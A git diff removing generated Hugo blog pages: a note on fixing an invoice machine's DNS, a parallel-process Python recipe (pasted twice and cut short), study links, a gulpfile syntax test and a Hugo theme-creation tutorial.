    • Minor changes (see TODO comments in the source).
    • -
    - -

    LICENSE

    - -

    The MIT License (MIT)

    - -

    Copyright © 2013-2017 Laurent Cozic

    - -

    Permission is hereby granted, free of charge, to any person obtaining a copy -of this software and associated documentation files (the “Software”), to deal -in the Software without restriction, including without limitation the rights -to use, copy, modify, merge, publish, distribute, sublicense, and/or sell -copies of the Software, and to permit persons to whom the Software is -furnished to do so, subject to the following conditions:

    - -

    The above copyright notice and this permission notice shall be included in -all copies or substantial portions of the Software.

    - -

    THE SOFTWARE IS PROVIDED “AS IS”, WITHOUT WARRANTY OF ANY KIND, EXPRESS OR -IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, -FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE -AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER -LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, -OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN -THE SOFTWARE.

    - - -
    - - - - -
    - - -
    - - -
    - - -comments powered by Disqus - - - - -
    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/themes/public/article/sh-invoice-machine-not-working/index.html b/themes/public/article/sh-invoice-machine-not-working/index.html deleted file mode 100644 index ee095033..00000000 --- a/themes/public/article/sh-invoice-machine-not-working/index.html +++ /dev/null @@ -1,408 +0,0 @@ - - - - - - - - - - 筆記-上海公司稅務軟體無法連線的問題 | My cool new Blog - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    -
    - -
    -

    My cool new Blog

    - - Hello World! This is the most epic subtitle ever. - -
    - -
    - - - en - - - - de - - -
    - - - -
    - - -
    -
    -
    - - -
    - - -
    - - - - - -
    - - -
    -

    筆記-上海公司稅務軟體無法連線的問題

    -
    - - - 2017-07-17 - - - - - - - - -
    - - -

    昨天上海Cindy打來說開票機無法連線稅務單位,沒辦法開票。

    - -

    中國的發票很特別,一定要用官方指定的開票機(其實就是一台普通的PC),你用自己的pc還要去稅務單位讓他們檢查,超級機車。

    - -

    總之,我們這台開票機就是從稅務單位直接買的,我沒有碰過設定,所以有這問題我也不曉得為什麼。Cindy表示問過稅務單位,說是網路不通,但是我在FW上沒有特殊的設定去限制,如果有的話,早就不會通了。

    - -

    今天May 又打來反應這問題,而且她加碼爆料說之前她在操作上網報稅的過程,也是用公司的電腦不行,但是用手機分享的4G網路連線就可以。這就很奇怪了,肯定是公司電腦有什麼錯誤的地方。總之讓她裝上teamviewer我遠端過去看一下,想說來檢查一下DNS能不能解析好了。結果一測試,果然預設的DNS Server是DC Controller,解不出 www.tax.sh.gov.cn 的IP位置。(微軟的AD預載的DNS Server真的頗容易出狀況的)

    - -

    把開票機的DNS Server 改成 202.96.199.133 / 202.96.0.133 測試OK。下午Cindy回來測試開票作業也都正常了,筆記一下作個紀錄。

    - - -
    - - - - -
    - - -
    - - -
    - - -comments powered by Disqus - - - - -
    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/themes/public/article/simple-way-to-execute-multiple-process-in-parallel/index.html b/themes/public/article/simple-way-to-execute-multiple-process-in-parallel/index.html deleted file mode 100644 index d5bb71d7..00000000 --- a/themes/public/article/simple-way-to-execute-multiple-process-in-parallel/index.html +++ /dev/null @@ -1,508 +0,0 @@ - - - - - - - - - - simple way to execure multiple process in parallel | My cool new Blog - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    -
    - -
    -

    My cool new Blog

    - - Hello World! This is the most epic subtitle ever. - -
    - -
    - - - en - - - - de - - -
    - - - -
    - - -
    -
    -
    - - -
    - - -
    - - - - - -
    - - -
    -

    simple way to execure multiple process in parallel

    -
    - - - 2018-04-03 - - - - - - - - -
    - - -

    http://code.activestate.com/recipes/577376-simple-way-to-execute-multiple-process-in-parallel/

    - -

    看起來是在同一時間利用多個PCU core 執行多個 importcenter -而不是把一個importcenter的工作拆給多個core 去運算 -有點不太一樣..

    - -

    不過用在 resetdata 上也許有用?

    - -
    -

    1.py

    -
    - -
     import sys, os, time
    - from subprocess import Popen, list2cmdline
    - 
    - def cpu_count():
    -     ''' Returns the number of CPUs in the system
    -     '''
    -     num = 1
    -     if sys.platform == 'win32':
    -         try:
    -             num = int(os.environ['NUMBER_OF_PROCESSORS'])
    -         except (ValueError, KeyError):
    -             pass
    -     elif sys.platform == 'darwin':
    -         try:
    -             num = int(os.popen('sysctl -n hw.ncpu').read())
    -         except ValueError:
    -             pass
    -     else:
    -         try:
    -             num = os.sysconf('SC_NPROCESSORS_ONLN')
    -         except (ValueError, OSError, AttributeError):
    -             pass
    - 
    -     return num
    - 
    - def exec_commands(cmds):
    -     ''' Exec commands in parallel in multiple process
    -     (as much as we have CPU)
    -     '''
    -     if not cmds: return # empty list
    - 
    -     def done(p):
    -         return p.poll() is not None
    -     def success(p):
    -         return p.returncode == 0
    -     def fail():
    -         sys.exit(1)
    - 
    -     max_task = cpu_count()
    -     processes = []
    - import sys, os, time
    - from subprocess import Popen, list2cmdline
    - 
    - def cpu_count():
    -     ''' Returns the number of CPUs in the system
    -     '''
    -     num = 1
    -     if sys.platform == 'win32':
    -         try:
    -             num = int(os.environ['NUMBER_OF_PROCESSORS'])
    -         except (ValueError, KeyError):
    -             pass
    -     elif sys.platform == 'darwin':
    -         try:
    -             num = int(os.popen('sysctl -n hw.ncpu').read())
    -         except ValueError:
    -             pass
    -     else:
    -         try:
    -             num = os.sysconf('SC_NPROCESSORS_ONLN')
    -         except (ValueError, OSError, AttributeError):
    -             pass
    - 
    -     return num
    - 
    - def exec_commands(cmds):
    -     ''' Exec commands in parallel in multiple process
    -     (as much as we have CPU)
    -     '''
    -     if not cmds: return # empty list
    - 
    -     def done(p):
    -         return p.poll() is not None
    -     def success(p):
    -         return p.returncode == 0
    -     def fail():
    -         sys.exit(1)
    - 
    -     max_task = cpu_count()
    -     processes = []
    -
    - -

    1.sh

    - -
    #!/bin/bash
    -
    -python manage.py importcenter A5088 fc-11167-01
    -
    - -

    2.sh

    - -
    #!/bin/bash
    -
    -python manage.py importcenter S5004 fc-20544-01
    -
    - - -
    - - - - -
    - - -
    - - -
    - - -comments powered by Disqus - - - - -
    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/themes/public/article/study-url/index.html b/themes/public/article/study-url/index.html deleted file mode 100644 index 3a36210c..00000000 --- a/themes/public/article/study-url/index.html +++ /dev/null @@ -1,428 +0,0 @@ - - - - - - - - - - Study URL | My cool new Blog - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    -
    - -
    -

    My cool new Blog

    - - Hello World! This is the most epic subtitle ever. - -
    - -
    - - - en - - - - de - - -
    - - - -
    - - -
    -
    -
    - - -
    - - -
    - - - - - -
    - - -
    -

    Study URL

    -
    - - - 2018-04-12 - - - - - - - - - 筆記 - - - - - -
    - - -

    good vim config for python

    - -

    https://github.com/fisadev/fisa-vim-config

    - -

    HUGO 博客搭建(Ubuntu)

    - -

    http://henrydublog.com/2017/11/hugo-blog/

    - -

    Caddy

    - -

    https://www.zybuluo.com/zwh8800/note/844776

    - -

    Cisco AnyConnect – With Google Authenticator 2 Factor Authentication

    - -

    https://www.petenetlive.com/KB/Article/0001256

    - -

    OpenConnect Server with Duo Two-Factor Auth in Ubuntu 16.04

    - -

    https://www.chrislibby.info/2017/07/openconnect-server-with-duo-two-factor/

    - -

    pycp

    - -

    https://github.com/dmerejkowsky/pycp

    - - -
    - - - - -
    - - -
    - - -
    - - -comments powered by Disqus - - - - -
    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/themes/public/article/support-and-discussions/featuredImage.png b/themes/public/article/support-and-discussions/featuredImage.png deleted file mode 100644 index 564a95f2..00000000 Binary files a/themes/public/article/support-and-discussions/featuredImage.png and /dev/null differ diff --git a/themes/public/article/support-and-discussions/index.html b/themes/public/article/support-and-discussions/index.html deleted file mode 100644 index ba3e6714..00000000 --- a/themes/public/article/support-and-discussions/index.html +++ /dev/null @@ -1,429 +0,0 @@ - - - - - - - - - - Support and Discussions | My cool new Blog - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    -
    - -
    -

    My cool new Blog

    - - Hello World! This is the most epic subtitle ever. - -
    - -
    - - - en - - - - de - - -
    - - - -
    - - -
    -
    -
    - - -
    - - -
    - - - - - -
    - - - - -
    -

    Support and Discussions

    -
    - - - 2017-11-01 - - - - - - - - - Lednerb - -
    - - -

    Hey there!

    - -

    This Premium Theme is published under an open source license so you can use it for your blog. It took me more than 75 hours of work to create one of the best Hugo themes out there.

    - -

    If you enjoy this theme and want to stay informed about the latest releases and features or want to say thanks and discuss with other users, join our Discord server:

    - -

    Discord

    - - -
    - - - - -
    - - -
    - - -
    - - -comments powered by Disqus - - - - -
    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/themes/public/article/syntax-test/index.html b/themes/public/article/syntax-test/index.html deleted file mode 100644 index 952f2970..00000000 --- a/themes/public/article/syntax-test/index.html +++ /dev/null @@ -1,521 +0,0 @@ - - - - - - - - - - Syntax Test | My cool new Blog - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    -
    - -
    -

    My cool new Blog

    - - Hello World! This is the most epic subtitle ever. - -
    - -
    - - - en - - - - de - - -
    - - - -
    - - -
    -
    -
    - - -
    - - -
    - - - - - -
    - - -
    -

    Syntax Test

    -
    - - - 2018-04-27 - - - - - - - - - 筆記 - - - - - - Eric Chang - -
    - - -

    測試語法,底下貼 .js 的內容

    - -

    - -
    
    -////////////////////////////////
    -		//Setup//
    -////////////////////////////////
    -
    -// Plugins
    -var gulp = require('gulp'),
    -      pjson = require('./package.json'),
    -      gutil = require('gulp-util'),
    -      sass = require('gulp-sass'),
    -      autoprefixer = require('gulp-autoprefixer'),
    -      cssnano = require('gulp-cssnano'),
    -      rename = require('gulp-rename'),
    -      del = require('del'),
    -      plumber = require('gulp-plumber'),
    -      pixrem = require('gulp-pixrem'),
    -      uglify = require('gulp-uglify'),
    -      imagemin = require('gulp-imagemin'),
    -      spawn = require('child_process').spawn,
    -      runSequence = require('run-sequence'),
    -      browserSync = require('browser-sync').create(),
    -      reload = browserSync.reload;
    -
    -
    -// Relative paths function
    -var pathsConfig = function (appName) {
    -  this.app = "./" + (appName || pjson.name);
    -
    -  return {
    -    app: this.app,
    -    templates: this.app + '/templates',
    -    css: this.app + '/static/css',
    -    sass: this.app + '/static/sass',
    -    fonts: this.app + '/static/fonts',
    -    images: this.app + '/static/images',
    -    js: this.app + '/static/js',
    -  }
    -};
    -
    -var paths = pathsConfig();
    -
    -////////////////////////////////
    -		//Tasks//
    -////////////////////////////////
    -
    -// Styles autoprefixing and minification
    -gulp.task('styles', function() {
    -  return gulp.src(paths.sass + '/*.scss')
    -    .pipe(sass().on('error', sass.logError))
    -    .pipe(plumber()) // Checks for errors
    -    .pipe(autoprefixer({browsers: ['last 2 versions']})) // Adds vendor prefixes
    -    .pipe(pixrem())  // add fallbacks for rem units
    -    .pipe(gulp.dest(paths.css))
    -    .pipe(rename({ suffix: '.min' }))
    -    .pipe(cssnano()) // Minifies the result
    -    .pipe(gulp.dest(paths.css));
    -});
    -
    -// Javascript minification
    -gulp.task('scripts', function() {
    -  return gulp.src(paths.js + '/project.js')
    -    .pipe(plumber()) // Checks for errors
    -    .pipe(uglify()) // Minifies the js
    -    .pipe(rename({ suffix: '.min' }))
    -    .pipe(gulp.dest(paths.js));
    -});
    -
    -// Image compression
    -gulp.task('imgCompression', function(){
    -  return gulp.src(paths.images + '/*')
    -    .pipe(imagemin()) // Compresses PNG, JPEG, GIF and SVG images
    -    .pipe(gulp.dest(paths.images))
    -});
    -
    -// Run django server
    -gulp.task('runServer', function(cb) {
    -  var cmd = spawn('python', ['manage.py', 'runserver'], {stdio: 'inherit'});
    -  cmd.on('close', function(code) {
    -    console.log('runServer exited with code ' + code);
    -    cb(code);
    -  });
    -});
    -
    -// Browser sync server for live reload
    -gulp.task('browserSync', function() {
    -    browserSync.init(
    -      [paths.css + "/*.css", paths.js + "*.js", paths.templates + '*.html'], {
    -        proxy:  "localhost:8000"
    -    });
    -});
    -
    -// Watch
    -gulp.task('watch', function() {
    -
    -  gulp.watch(paths.sass + '/*.scss', ['styles']);
    -  gulp.watch(paths.js + '/*.js', ['scripts']).on("change", reload);
    -  gulp.watch(paths.images + '/*', ['imgCompression']);
    -  gulp.watch(paths.templates + '/**/*.html').on("change", reload);
    -
    -});
    -
    -// Default task
    -gulp.task('default', function() {
    -    runSequence(['styles', 'scripts', 'imgCompression'], ['runServer', 'browserSync', 'watch']);
    -});
    -
    -
    - -
    - - - - -
    - - -
    - - -
    - - -comments powered by Disqus - - - - -
    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/themes/public/article/test1/index.html b/themes/public/article/test1/index.html deleted file mode 100644 index 01c70ee4..00000000 --- a/themes/public/article/test1/index.html +++ /dev/null @@ -1,1500 +0,0 @@ - - - - - - - - - - Creating a new theme | My cool new Blog - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    -
    - -
    -

    My cool new Blog

    - - Hello World! This is the most epic subtitle ever. - -
    - -
    - - - en - - - - de - - -
    - - - -
    - - -
    -
    -
    - - -
    - - -
    - - - - - -
    - - -
    -

    Creating a new theme

    -
    - - - 2015-06-24 - - - - - - - - - starting - - - - - - test1 - -
    - - - - -

    Introduction

    - -

    This tutorial will show you how to create a simple theme in Hugo. I assume that you are familiar with HTML, the bash command line, and that you are comfortable using Markdown to format content. I’ll explain how Hugo uses templates and how you can organize your templates to create a theme. I won’t cover using CSS to style your theme.

    - -

    We’ll start with creating a new site with a very basic template. Then we’ll add in a few pages and posts. With small variations on that, you will be able to create many different types of web sites.

    - -

    In this tutorial, commands that you enter will start with the “$” prompt. The output will follow. Lines that start with “#” are comments that I’ve added to explain a point. When I show updates to a file, the “:wq” on the last line means to save the file.

    - -

    Here’s an example:

    - -
    ## this is a comment
    -$ echo this is a command
    -this is a command
    -
    -## edit the file
    -$vi foo.md
    -+++
    -date = "2014-09-28"
    -title = "creating a new theme"
    -+++
    -
    -bah and humbug
    -:wq
    -
    -## show it
    -$ cat foo.md
    -+++
    -date = "2014-09-28"
    -title = "creating a new theme"
    -+++
    -
    -bah and humbug
    -$
    -
    - -

    Some Definitions

    - -

    There are a few concepts that you need to understand before creating a theme.

    - -

    Skins

    - -

    Skins are the files responsible for the look and feel of your site. It’s the CSS that controls colors and fonts, it’s the Javascript that determines actions and reactions. It’s also the rules that Hugo uses to transform your content into the HTML that the site will serve to visitors.

    - -

    You have two ways to create a skin. The simplest way is to create it in the layouts/ directory. If you do, then you don’t have to worry about configuring Hugo to recognize it. The first place that Hugo will look for rules and files is in the layouts/ directory so it will always find the skin.

    - -

    Your second choice is to create it in a sub-directory of the themes/ directory. If you do, then you must always tell Hugo where to search for the skin. It’s extra work, though, so why bother with it?

    - -

    The difference between creating a skin in layouts/ and creating it in themes/ is very subtle. A skin in layouts/ can’t be customized without updating the templates and static files that it is built from. A skin created in themes/, on the other hand, can be and that makes it easier for other people to use it.

    - -

    The rest of this tutorial will call a skin created in the themes/ directory a theme.

    - -

    Note that you can use this tutorial to create a skin in the layouts/ directory if you wish to. The main difference will be that you won’t need to update the site’s configuration file to use a theme.

    - -

    The Home Page

    - -

    The home page, or landing page, is the first page that many visitors to a site see. It is the index.html file in the root directory of the web site. Since Hugo writes files to the public/ directory, our home page is public/index.html.

    - -

    Site Configuration File

    - -

    When Hugo runs, it looks for a configuration file that contains settings that override default values for the entire site. The file can use TOML, YAML, or JSON. I prefer to use TOML for my configuration files. If you prefer to use JSON or YAML, you’ll need to translate my examples. You’ll also need to change the name of the file since Hugo uses the extension to determine how to process it.

    - -

    Hugo translates Markdown files into HTML. By default, Hugo expects to find Markdown files in your content/ directory and template files in your themes/ directory. It will create HTML files in your public/ directory. You can change this by specifying alternate locations in the configuration file.

    - -

    Content

    - -

    Content is stored in text files that contain two sections. The first section is the “front matter,” which is the meta-information on the content. The second section contains Markdown that will be converted to HTML.

    - -

    Front Matter

    - -

    The front matter is information about the content. Like the configuration file, it can be written in TOML, YAML, or JSON. Unlike the configuration file, Hugo doesn’t use the file’s extension to know the format. It looks for markers to signal the type. TOML is surrounded by “+++”, YAML by “---”, and JSON is enclosed in curly braces. I prefer to use TOML, so you’ll need to translate my examples if you prefer YAML or JSON.

    - -

    The information in the front matter is passed into the template before the content is rendered into HTML.

    - -

    Markdown

    - -

    Content is written in Markdown which makes it easier to create the content. Hugo runs the content through a Markdown engine to create the HTML which will be written to the output file.

    - -

    Template Files

    - -

    Hugo uses template files to render content into HTML. Template files are a bridge between the content and presentation. Rules in the template define what content is published, where it’s published to, and how it will rendered to the HTML file. The template guides the presentation by specifying the style to use.

    - -

    There are three types of templates: single, list, and partial. Each type takes a bit of content as input and transforms it based on the commands in the template.

    - -

    Hugo uses its knowledge of the content to find the template file used to render the content. If it can’t find a template that is an exact match for the content, it will shift up a level and search from there. It will continue to do so until it finds a matching template or runs out of templates to try. If it can’t find a template, it will use the default template for the site.

    - -

    Please note that you can use the front matter to influence Hugo’s choice of templates.

    - -

    Single Template

    - -

    A single template is used to render a single piece of content. For example, an article or post would be a single piece of content and use a single template.

    - -

    List Template

    - -

    A list template renders a group of related content. That could be a summary of recent postings or all articles in a category. List templates can contain multiple groups.

    - -

    The homepage template is a special type of list template. Hugo assumes that the home page of your site will act as the portal for the rest of the content in the site.

    - -

    Partial Template

    - -

    A partial template is a template that can be included in other templates. Partial templates must be called using the “partial” template command. They are very handy for rolling up common behavior. For example, your site may have a banner that all pages use. Instead of copying the text of the banner into every single and list template, you could create a partial with the banner in it. That way if you decide to change the banner, you only have to change the partial template.

    - -

    Create a New Site

    - -

    Let’s use Hugo to create a new web site. I’m a Mac user, so I’ll create mine in my home directory, in the Sites folder. If you’re using Linux, you might have to create the folder first.

    - -

    The “new site” command will create a skeleton of a site. It will give you the basic directory structure and a useable configuration file.

    - -
    $ hugo new site ~/Sites/zafta
    -$ cd ~/Sites/zafta
    -$ ls -l
    -total 8
    -drwxr-xr-x  7 quoha  staff  238 Sep 29 16:49 .
    -drwxr-xr-x  3 quoha  staff  102 Sep 29 16:49 ..
    -drwxr-xr-x  2 quoha  staff   68 Sep 29 16:49 archetypes
    --rw-r--r--  1 quoha  staff   82 Sep 29 16:49 config.toml
    -drwxr-xr-x  2 quoha  staff   68 Sep 29 16:49 content
    -drwxr-xr-x  2 quoha  staff   68 Sep 29 16:49 layouts
    -drwxr-xr-x  2 quoha  staff   68 Sep 29 16:49 static
    -$
    -
    - -

    Take a look in the content/ directory to confirm that it is empty.

    - -

    The other directories (archetypes/, layouts/, and static/) are used when customizing a theme. That’s a topic for a different tutorial, so please ignore them for now.

    - -

    Generate the HTML For the New Site

    - -

    Running the hugo command with no options will read all the available content and generate the HTML files. It will also copy all static files (that’s everything that’s not content). Since we have an empty site, it won’t do much, but it will do it very quickly.

    - -
    $ hugo --verbose
    -INFO: 2014/09/29 Using config file: config.toml
    -INFO: 2014/09/29 syncing from /Users/quoha/Sites/zafta/static/ to /Users/quoha/Sites/zafta/public/
    -WARN: 2014/09/29 Unable to locate layout: [index.html _default/list.html _default/single.html]
    -WARN: 2014/09/29 Unable to locate layout: [404.html]
    -0 draft content
    -0 future content
    -0 pages created
    -0 tags created
    -0 categories created
    -in 2 ms
    -$
    -
    - -

    The “--verbose” flag gives extra information that will be helpful when we build the template. Every line of the output that starts with “INFO:” or “WARN:” is present because we used that flag. The lines that start with “WARN:” are warning messages. We’ll go over them later.

    - -

    We can verify that the command worked by looking at the directory again.

    - -
    $ ls -l
    -total 8
    -drwxr-xr-x  2 quoha  staff   68 Sep 29 16:49 archetypes
    --rw-r--r--  1 quoha  staff   82 Sep 29 16:49 config.toml
    -drwxr-xr-x  2 quoha  staff   68 Sep 29 16:49 content
    -drwxr-xr-x  2 quoha  staff   68 Sep 29 16:49 layouts
    -drwxr-xr-x  4 quoha  staff  136 Sep 29 17:02 public
    -drwxr-xr-x  2 quoha  staff   68 Sep 29 16:49 static
    -$
    -
    - -

    See that new public/ directory? Hugo placed all generated content there. When you’re ready to publish your web site, that’s the place to start. For now, though, let’s just confirm that we have what we’d expect from a site with no content.

    - -
    $ ls -l public
    -total 16
    --rw-r--r--  1 quoha  staff  416 Sep 29 17:02 index.xml
    --rw-r--r--  1 quoha  staff  262 Sep 29 17:02 sitemap.xml
    -$
    -
    - -

    Hugo created two XML files, which is standard, but there are no HTML files.

    - -

    Test the New Site

    - -

    Verify that you can run the built-in web server. It will dramatically shorten your development cycle if you do. Start it by running the “server” command. If it is successful, you will see output similar to the following:

    - -
    $ hugo server --verbose
    -INFO: 2014/09/29 Using config file: /Users/quoha/Sites/zafta/config.toml
    -INFO: 2014/09/29 syncing from /Users/quoha/Sites/zafta/static/ to /Users/quoha/Sites/zafta/public/
    -WARN: 2014/09/29 Unable to locate layout: [index.html _default/list.html _default/single.html]
    -WARN: 2014/09/29 Unable to locate layout: [404.html]
    -0 draft content
    -0 future content
    -0 pages created
    -0 tags created
    -0 categories created
    -in 2 ms
    -Serving pages from /Users/quoha/Sites/zafta/public
    -Web Server is available at http://localhost:1313
    -Press Ctrl+C to stop
    -
    - -

    Connect to the listed URL (it’s on the line that starts with “Web Server”). If everything is working correctly, you should get a page that shows the following:

    - -
    index.xml
    -sitemap.xml
    -
    - -

    That’s a listing of your public/ directory. Hugo didn’t create a home page because our site has no content. When there’s no index.html file in a directory, the server lists the files in the directory, which is what you should see in your browser.

    - -

    Let’s go back and look at those warnings again.

    - -
    WARN: 2014/09/29 Unable to locate layout: [index.html _default/list.html _default/single.html]
    -WARN: 2014/09/29 Unable to locate layout: [404.html]
    -
    - -

    That second warning is easier to explain. We haven’t created a template to be used to generate “page not found errors.” The 404 message is a topic for a separate tutorial.

    - -

    Now for the first warning. It is for the home page. You can tell because the first layout that it looked for was “index.html.” That’s only used by the home page.

    - -

    I like that the verbose flag causes Hugo to list the files that it’s searching for. For the home page, they are index.html, _default/list.html, and _default/single.html. There are some rules that we’ll cover later that explain the names and paths. For now, just remember that Hugo couldn’t find a template for the home page and it told you so.

    - -

    At this point, you’ve got a working installation and site that we can build upon. All that’s left is to add some content and a theme to display it.

    - -

    Create a New Theme

    - -

    Hugo doesn’t ship with a default theme. There are a few available (I counted a dozen when I first installed Hugo) and Hugo comes with a command to create new themes.

    - -

    We’re going to create a new theme called “zafta.” Since the goal of this tutorial is to show you how to fill out the files to pull in your content, the theme will not contain any CSS. In other words, ugly but functional.

    - -

    All themes have opinions on content and layout. For example, Zafta uses “post” over “blog”. Strong opinions make for simpler templates but differing opinions make it tougher to use themes. When you build a theme, consider using the terms that other themes do.

    - -

    Create a Skeleton

    - -

    Use the hugo “new” command to create the skeleton of a theme. This creates the directory structure and places empty files for you to fill out.

    - -
    $ hugo new theme zafta
    -
    -$ ls -l
    -total 8
    -drwxr-xr-x  2 quoha  staff   68 Sep 29 16:49 archetypes
    --rw-r--r--  1 quoha  staff   82 Sep 29 16:49 config.toml
    -drwxr-xr-x  2 quoha  staff   68 Sep 29 16:49 content
    -drwxr-xr-x  2 quoha  staff   68 Sep 29 16:49 layouts
    -drwxr-xr-x  4 quoha  staff  136 Sep 29 17:02 public
    -drwxr-xr-x  2 quoha  staff   68 Sep 29 16:49 static
    -drwxr-xr-x  3 quoha  staff  102 Sep 29 17:31 themes
    -
    -$ find themes -type f | xargs ls -l
    --rw-r--r--  1 quoha  staff  1081 Sep 29 17:31 themes/zafta/LICENSE.md
    --rw-r--r--  1 quoha  staff     0 Sep 29 17:31 themes/zafta/archetypes/default.md
    --rw-r--r--  1 quoha  staff     0 Sep 29 17:31 themes/zafta/layouts/_default/list.html
    --rw-r--r--  1 quoha  staff     0 Sep 29 17:31 themes/zafta/layouts/_default/single.html
    --rw-r--r--  1 quoha  staff     0 Sep 29 17:31 themes/zafta/layouts/index.html
    --rw-r--r--  1 quoha  staff     0 Sep 29 17:31 themes/zafta/layouts/partials/footer.html
    --rw-r--r--  1 quoha  staff     0 Sep 29 17:31 themes/zafta/layouts/partials/header.html
    --rw-r--r--  1 quoha  staff    93 Sep 29 17:31 themes/zafta/theme.toml
    -$
    -
    - -

    The skeleton includes templates (the files ending in .html), license file, a description of your theme (the theme.toml file), and an empty archetype.

    - -

    Please take a minute to fill out the theme.toml and LICENSE.md files. They’re optional, but if you’re going to be distributing your theme, it tells the world who to praise (or blame). It’s also nice to declare the license so that people will know how they can use the theme.

    - -
    $ vi themes/zafta/theme.toml
    -author = "michael d henderson"
    -description = "a minimal working template"
    -license = "MIT"
    -name = "zafta"
    -source_repo = ""
    -tags = ["tags", "categories"]
    -:wq
    -
    -## also edit themes/zafta/LICENSE.md and change
    -## the bit that says "YOUR_NAME_HERE"
    -
    - -

    Note that the the skeleton’s template files are empty. Don’t worry, we’ll be changing that shortly.

    - -
    $ find themes/zafta -name '*.html' | xargs ls -l
    --rw-r--r--  1 quoha  staff  0 Sep 29 17:31 themes/zafta/layouts/_default/list.html
    --rw-r--r--  1 quoha  staff  0 Sep 29 17:31 themes/zafta/layouts/_default/single.html
    --rw-r--r--  1 quoha  staff  0 Sep 29 17:31 themes/zafta/layouts/index.html
    --rw-r--r--  1 quoha  staff  0 Sep 29 17:31 themes/zafta/layouts/partials/footer.html
    --rw-r--r--  1 quoha  staff  0 Sep 29 17:31 themes/zafta/layouts/partials/header.html
    -$
    -
    - -

    Update the Configuration File to Use the Theme

    - -

    Now that we’ve got a theme to work with, it’s a good idea to add the theme name to the configuration file. This is optional, because you can always add “-t zafta” on all your commands. I like to put it the configuration file because I like shorter command lines. If you don’t put it in the configuration file or specify it on the command line, you won’t use the template that you’re expecting to.

    - -

    Edit the file to add the theme, add a title for the site, and specify that all of our content will use the TOML format.

    - -
    $ vi config.toml
    -theme = "zafta"
    -baseurl = ""
    -languageCode = "en-us"
    -title = "zafta - totally refreshing"
    -MetaDataFormat = "toml"
    -:wq
    -
    -$
    -
    - -

    Generate the Site

    - -

    Now that we have an empty theme, let’s generate the site again.

    - -
    $ hugo --verbose
    -INFO: 2014/09/29 Using config file: /Users/quoha/Sites/zafta/config.toml
    -INFO: 2014/09/29 syncing from /Users/quoha/Sites/zafta/themes/zafta/static/ to /Users/quoha/Sites/zafta/public/
    -INFO: 2014/09/29 syncing from /Users/quoha/Sites/zafta/static/ to /Users/quoha/Sites/zafta/public/
    -WARN: 2014/09/29 Unable to locate layout: [404.html theme/404.html]
    -0 draft content
    -0 future content
    -0 pages created
    -0 tags created
    -0 categories created
    -in 2 ms
    -$
    -
    - -

    Did you notice that the output is different? The warning message for the home page has disappeared and we have an additional information line saying that Hugo is syncing from the theme’s directory.

    - -

    Let’s check the public/ directory to see what Hugo’s created.

    - -
    $ ls -l public
    -total 16
    -drwxr-xr-x  2 quoha  staff   68 Sep 29 17:56 css
    --rw-r--r--  1 quoha  staff    0 Sep 29 17:56 index.html
    --rw-r--r--  1 quoha  staff  407 Sep 29 17:56 index.xml
    -drwxr-xr-x  2 quoha  staff   68 Sep 29 17:56 js
    --rw-r--r--  1 quoha  staff  243 Sep 29 17:56 sitemap.xml
    -$
    -
    - -

    Notice four things:

    - -
      -
    1. Hugo created a home page. This is the file public/index.html.
    2. -
    3. Hugo created a css/ directory.
    4. -
    5. Hugo created a js/ directory.
    6. -
    7. Hugo claimed that it created 0 pages. It created a file and copied over static files, but didn’t create any pages. That’s because it considers a “page” to be a file created directly from a content file. It doesn’t count things like the index.html files that it creates automatically.
    8. -
    - -

    The Home Page

    - -

    Hugo supports many different types of templates. The home page is special because it gets its own type of template and its own template file. The file, layouts/index.html, is used to generate the HTML for the home page. The Hugo documentation says that this is the only required template, but that depends. Hugo’s warning message shows that it looks for three different templates:

    - -
    WARN: 2014/09/29 Unable to locate layout: [index.html _default/list.html _default/single.html]
    -
    - -

    If it can’t find any of these, it completely skips creating the home page. We noticed that when we built the site without having a theme installed.

    - -

    When Hugo created our theme, it created an empty home page template. Now, when we build the site, Hugo finds the template and uses it to generate the HTML for the home page. Since the template file is empty, the HTML file is empty, too. If the template had any rules in it, then Hugo would have used them to generate the home page.

    - -
    $ find . -name index.html | xargs ls -l
    --rw-r--r--  1 quoha  staff  0 Sep 29 20:21 ./public/index.html
    --rw-r--r--  1 quoha  staff  0 Sep 29 17:31 ./themes/zafta/layouts/index.html
    -$
    -
    - -

    The Magic of Static

    - -

    Hugo does two things when generating the site. It uses templates to transform content into HTML and it copies static files into the site. Unlike content, static files are not transformed. They are copied exactly as they are.

    - -

    Hugo assumes that your site will use both CSS and JavaScript, so it creates directories in your theme to hold them. Remember opinions? Well, Hugo’s opinion is that you’ll store your CSS in a directory named css/ and your JavaScript in a directory named js/. If you don’t like that, you can change the directory names in your theme directory or even delete them completely. Hugo’s nice enough to offer its opinion, then behave nicely if you disagree.

    - -
    $ find themes/zafta -type d | xargs ls -ld
    -drwxr-xr-x  7 quoha  staff  238 Sep 29 17:38 themes/zafta
    -drwxr-xr-x  3 quoha  staff  102 Sep 29 17:31 themes/zafta/archetypes
    -drwxr-xr-x  5 quoha  staff  170 Sep 29 17:31 themes/zafta/layouts
    -drwxr-xr-x  4 quoha  staff  136 Sep 29 17:31 themes/zafta/layouts/_default
    -drwxr-xr-x  4 quoha  staff  136 Sep 29 17:31 themes/zafta/layouts/partials
    -drwxr-xr-x  4 quoha  staff  136 Sep 29 17:31 themes/zafta/static
    -drwxr-xr-x  2 quoha  staff   68 Sep 29 17:31 themes/zafta/static/css
